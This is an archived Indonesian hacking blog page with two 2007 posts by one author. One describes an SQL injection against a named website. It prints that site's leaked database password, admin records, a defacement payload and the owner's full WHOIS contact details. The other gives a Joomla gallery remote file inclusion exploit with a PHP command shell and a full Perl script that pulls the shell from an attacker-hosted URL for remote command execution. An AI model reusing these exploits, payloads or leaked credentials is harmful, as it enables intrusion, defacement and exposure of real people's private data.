LaGiPusHinGWitH ----- IT

About This Site

Teknologi Informasi sangatlah penting untuk menunjang kemajuan ilmu pengetahuan di Indonesia pada khususnya. Dan ini semua haruslah ditunjang dengan kemampuan yang sepadan dengan kemajuan teknologi itu sendiri, terlebih untuk para praktisi IT itu sendiri. Akhir kata "Selamat berkarya" untuk kita semua. koy^k^guy^ - Owner

Navigation

Home |

Search


Advanced Search

Calendar

August 2007
S M T W T F S
      1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31  

Categories

Monthly Archives

Most recent entries

Syndicate

Site Statistics

This page has been viewed 264638 times
Page rendered in 0.4080 seconds
38 queries executed
Debug mode is on
Total Entries: 61
Total Comments: 17
Total Trackbacks: 42607
Most Recent Entry: 09/28/2010 09:19 pm
Most Recent Comment on: 09/28/2010 09:51 pm
Total Members: 1
Total Logged in members: 0
Total guests: 4
Total anonymous users: 0
Most Recent Visitor on: 06/02/2012 03:43 pm
The most visitors ever was 269 on 05/28/2011 03:07 pm

Referrers

Site Credits

Powered by:
ExpressionEngine

Design by:
BlogMoxie

Saturday, August 25, 2007
SQL Injection at MalangHack

Category: Hacking n Security
Author: roninmorgue
Date: April, 29th 2007
Location: Indonesia, Jakarta
Web: http://www.forum.mercubuana-it.org/

----------------------------------------

Affected :

Tulisan ini sebenarnya saya buat atas pernyataan dari pengelola web malanghack.net, atas tulisan yang saya buat mengenai eksploitasi yang saya lakukan terhadap server malanghack.net(baca postingan saya di room yang sama).

Dan tulisan ini saya buat juga didasarkan atas permintaan pengelola untuk melakukan hacking kembali, padahal saya sudah lama meninggalkan aktifitas defacing. Jadi yang saya lakukan hanyalah melakukan sedikit audit pada web site malanghack.net

Setelah cukup lama melakukan audit, saya menemukan vulnerability pada aplikasi web, dan vulnerability tersebut masuk dalam kategori high risk.
Vulnerability yang ditemukan adalah SQL Injection pada salah satu file yang ada, yaitu file article_read.php, dimana terdapat command SQL yang berfungsi untuk menampilkan artikel pada web tersebut...namun tidak dilakukan sanitasi terhadap masukan data.

POC :

file tidak mampu mensanitasi karakter-karakter berikut :
‘, ', �’, ‘“

Ketikkan pada URL -->> http://www.malanghack.net/article_read.php?id=’

akan tampil :

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/malang/public_html/article_read.php on line 343

DATA NOT FOUND

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/malang/public_html/article_read.php on line 353

Dari result diatas kita dapat memastikan bahwa file telah mengeksekusi karakter yang kita input tanpa melalui proses sanitasi, dan dinyatakan data tidak ditemukan.

Kemudian apa yang bisa kita lakukan dengan celah ini? OK...kita masuk ke inti dari tulisan saya ini, sebelum saya jelaskan cara mengeksploitasinya ada baiknya saya sedikit mereview hasil grabbing saya terdahulu terhadap struktur dari database aplikasi web malanghack.net (ps: itu kalau dia ngga bohong yah, mengenai tidak ada perubahan pada aplikasinya)

$database="sincan2_hack";
$sqlhost="localhost";
$sqluser="sincan2_abde";
$sqlpass="abdecakep12345";

* Nama-nama table database sincan2_hack --<
admin article crew deface depan download links

** field-field table admin --<
no int(5) PRI auto_increment user varchar(50) pass varchar(100)
md5pass varchar(255) email varchar(255) last varchar(255) nick varchar(50)
email_id varchar(100)

*** isi table admin --<
1 |sincan2 |- |- |sincan2@malanghack.net | |Sincan2 |haldi1304 |

** field-field table crew --<
no int(11) PRI nama varchar(255) email varchar(255) url varchar(255)

*** isi table crew --<
1 |J1nX |abde@j1nx.net |http://j1nx.net/ |

** field-field table depan
no int(5) depan longtext

*** isi table depan
1 |
Welcome to #malanghack
Rendrian Rizaldi Putra Atmono 7 Oktober 2005 jam 11 Malam
(HADI + ERNA)
-------------------------------------------------------------------
Selamat Tinggal 2005 masa kelam di mana suka dan duka selalu menyelimuti kita
Dan selamat Datang 2006 semoga Tuhan senantiasa bersama kita.
-------------------------------------------------------------------

Saya lebih tertarik untuk membuat contoh eksploitasi tabel yang sama ( tabel depan ).

Kita coba memberi sedikit pengertian yang terjadi pada SQL Injection dengan contoh :

SELECT nmr_cc
FROM pembeli
WHERE nama = ‘Ronin O’’Morgue’; —berjalan dengan baik

Kebanyakan database mendukung mekanisme pelewatan karakter/string. MySQL, juga mengijinkan \’
untuk melewatkan sebuah tanda petik, jadi setelah memasukkan \’; DROP TABLE users;—
kita mendapatkan:

SELECT nmr_cc
FROM pembeli
WHERE nama = ‘\’’; DROP TABLE pembeli; --’; —Got!!! i hack your database!

Ok...itu contoh ekstrim, atau lebih ekstrim drop databasenya aja!!!
Tapi tentu saja itu sangat tidak cantik, padahal banyak yang masih bisa kita lakukan, seperti
bagaimana kita dapat mengeksploitasi aplikasi web malanghack.net

Saya perkirakan file article_read.php memiliki sebuah kode program SQL yang tidak berbeda jauh
dengan contoh yang saya berikan (dengan melihat dari URL)

SELECT *
FROM article
WHERE id = ‘no_id’; —ini akan berjalan dengan normal

Sekarang kita coba untuk melakukan perubahan isi data pada table ‘depan’,

SELECT *
FROM article
WHERE id = ‘\’’; UPDATE depan SET depan = <teks untuk deface> WHERE no = 1; --’;

dan silahkan aplikasikan eksploitasi tersebut pada URL nya ( tidak saya contohkan agar tidak terjadi kegiatan yang merugikan pihak lain )

Pencegahan :

1. Batasi akses user melalui database permision, jangan ijinkan statement selain SELECT

2. Gunakan store prosedur untuk pengaksesan database

3. Buat fungsi untuk melakukan sanitasi terhadap input karakter

4. Buat konfigurasi error sendiri

Selanjutnya apa?

Seperti yang sudah disebutkan diatas, saya hanya mengaudit aplikasinya saja (bukan dari sisi server) dan saya sudah meninggalkan aktifitas deface...jadi saya hanya ingin share saja.

Bagi yang ingin berbaik hati terhadap webmaster silahkan untuk memberitahu di:

Domain Name: MALANGHACK.NET

Registrant:
IT Indonesia
Hadi (haldi1304@yahoo.com)
jl.kol.sugiono 3b
Malang
Jawa Timur,356694
ID
Tel. +62.85262470384

Creation Date: 14-Jul-2005
Expiration Date: 14-Jul-2007

Domain servers in listed order:
ns1.kerangkalangit.net
ns2.kerangkalangit.net

Administrative Contact:
IT Indonesia
Hadi (haldi1304@yahoo.com)
jl.kol.sugiono 3b
Malang
Jawa Timur,356694
ID
Tel. +62.85262470384

Technical Contact:
IT Indonesia
Hadi (haldi1304@yahoo.com)
jl.kol.sugiono 3b
Malang
Jawa Timur,356694
ID
Tel. +62.85262470384

Billing Contact:
IT Indonesia
Hadi (haldi1304@yahoo.com)
jl.kol.sugiono 3b
Malang
Jawa Timur,356694
ID
Tel. +62.85262470384

Status:ACTIVE

PS : Jangan merugikan pihak lain, ingat hukum karma akan terjadi terhadap kita (merasakan sendiri)
Jangan social enginnering.
Apakah ekploitasi ini pasti berhasil?
—Tidak, karena keberhasilan eksplotasi ini sangat dipengaruhi oleh struktur database, konfigurasi
server, dan scipt utuh dari file.

Maaf buat yang kesal dan menganggap tulisan ini tidak bermutu, lain kali saya taruh diatas
deh PS-nya

------------------------------------------------------------

Shoutz:
~~~~~~
~ forum|staff (roninmorgue, darkstar, admin, qnoyyy, gaga, kalion,
WaferStick, newbie, cloud, acieis)
~ mercubuana-it@yahoogroups.com ,
~ x-code staff n members at yogya_family_code, ^family_code^,
---------------------------------------------------------------

Contact:
~~~~~~~~
roninmorgue || forum|staff
Homepage: http://www.forum.mercubuana-it.org/
email: roninmorgue[at]yahoo[dot]co[dot]id
anstellwinkel[at]yahoo[dot]com[dot]au
petambakudang[at]yahoo[dot]co[dot]id
---------------- [ EOF ] ----------------------------------------

Posted by roninmorgue on 08/25 at 01:06 AM
Computer HackingComputer Security • (0) Comments • (190) TrackbacksPermalink
Wednesday, August 22, 2007
Hacked mercubuana-it.org with (Joomla) Remote File Inclusion

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Joomla is free software, written in PHP Script released under GNU GPL Licence

##########################################
# galleria - A Picture Gallery #
# Copyright (C) 2004 #
# Homepage : http://www.binarydigit.at #
# Email : office@binarydigit.at #
# Version : 1.0 #
# License : GNU GPL Public License #
##########################################

-------------------------------------------------------

Vulnerability terjadi pada modules gallery

Proof of Concept:
~~~~~~~~~~~~~~~
Vulnerable Script: galleria.php pada folder modules/galleria.

---------------galleria.php--------------------------------

include_once($mosConfig_absolute_path."/components/com_galleria/
galleria.html.php");
include_once($mosConfig_absolute_path."/components/com_galleria/
config.galleria.php");
include_once($mosConfig_absolute_path."/administrator/components/
com_galleria/class.galleria.php");

html_galleria::show_header( $option, $Itemid );

switch( $task )
{
case ‘show_rubriks’:
show_rubriks ( $option, $Itemid );
break;

...
---------------------------------------------------------

Variabel $mosConfig_absolute_path tidak disanitasi .
Saat register_globals=on dan allow_fopenurl=on maka penyerang dapat meng-exploitasi kelemahan
ini dengan php injection script.

Poc/Exploit:
~~~~~~~~~~~

dir.txt
<?
echo "".passthru(' ls -la ; id ')."";
?>

Perl Exploit:
~~~~~~~~~~~

#!/usr/bin/perl
##
# Joomla Remote Code Execution Exploit
# Bug Found & code By roninmorgue
# code reference from K-159 & uid0/zod at ExploiterCode.com
##
# usage:
# perl joomla.pl <target> <cmd shell location> <cmd shell variable>
# perl joomla http://target.com/ http://attacker.com/cmd.txt cmd
# cmd shell example: <?passthru($_GET[cmd]);?>
# cmd shell variable: ($_GET[cmd]);
##
# Contact: roninmorgue@yahoo.co.id || http://www.forum.mercubuana-it.org
##

use LWP::UserAgent;

$Directory = $ARGV[0];
$DirectoryCommand = $ARGV[1];
$command = $ARGV[2];

if($Directory!~/http:\/\// || $DirectoryCommand!~/http:\/\// || !$command){usage()}

head();

while()
{
print “[shell] \$”;
while(<STDIN>)
{
$cmdshell=$_;
chomp($cmdshell);

$exploit = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET=>$Directory.’/components/com_galleria/
galleria.php?mosConfig_absolute_path=
‘.$DirectoryCommand.’?&’.$command.’=’.$cmdshell)
or die “\nCould Not connect\n”;

$res = $exploit->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê]/;

if (!$cmdshell) {print “\nPlease Enter a Command\n\n”; $return ="”;}

elsif ($return =~/failed to open stream: HTTP request failed!/ ||
$return =~/: Cannot execute a blank command in <b>/)
{print “\nCould Not Connect to cmd Host or Invalid Command Variable\n”;exit}
elsif ($return =~/^<br.\>.<b>Fatal.error/) {print “\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)
{
$finreturn = $1;
$finreturn=~ tr/[ê]/[\n]/;
print “\r\n$finreturn\n\r”;
last;
}
else {print “[shell] \$”;}}}last;
sub head()
{
print “\n===================================================\r\n”;
print “ *Joomla Remote File Inclusion*\r\n”;
print “=====================================================\r\n”;
}
sub usage()
{
head();
print “ Usage: perl joomla.pl <target> <cmd shell location> <cmd shell variable>\r\n\n”;
print “ <Site> - Full path to Joomla site ex: http://www.site.com/ \r\n”;
print “ <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n”;
print “ <cmd variable> - Command variable used in php shell \r\n”;
print “=====================================================\r\n”;
print “ Bug Found by roninmorgue \r\n”;
print “ Contact: roninmorgue@yahoo.co.id || http://www.forum.mercubuana-it.org \r\n”;
print “=====================================================\r\n”;
exit();
}

``````````````````````````````````
Solution/The Fix:
~~~~~~~~~~~~~~

Non-aktifkan module galleria/delete
Sanitasi script pada file galleria.php untuk mencegah vulnerability ini

Notification:
~~~~~~~~~~~

vendor belum dihubungi

Posted by roninmorgue on 08/22 at 08:42 PM
Computer Hacking • (0) Comments • (195) TrackbacksPermalink
Page 3 of 3 pages « First  <  1 2 3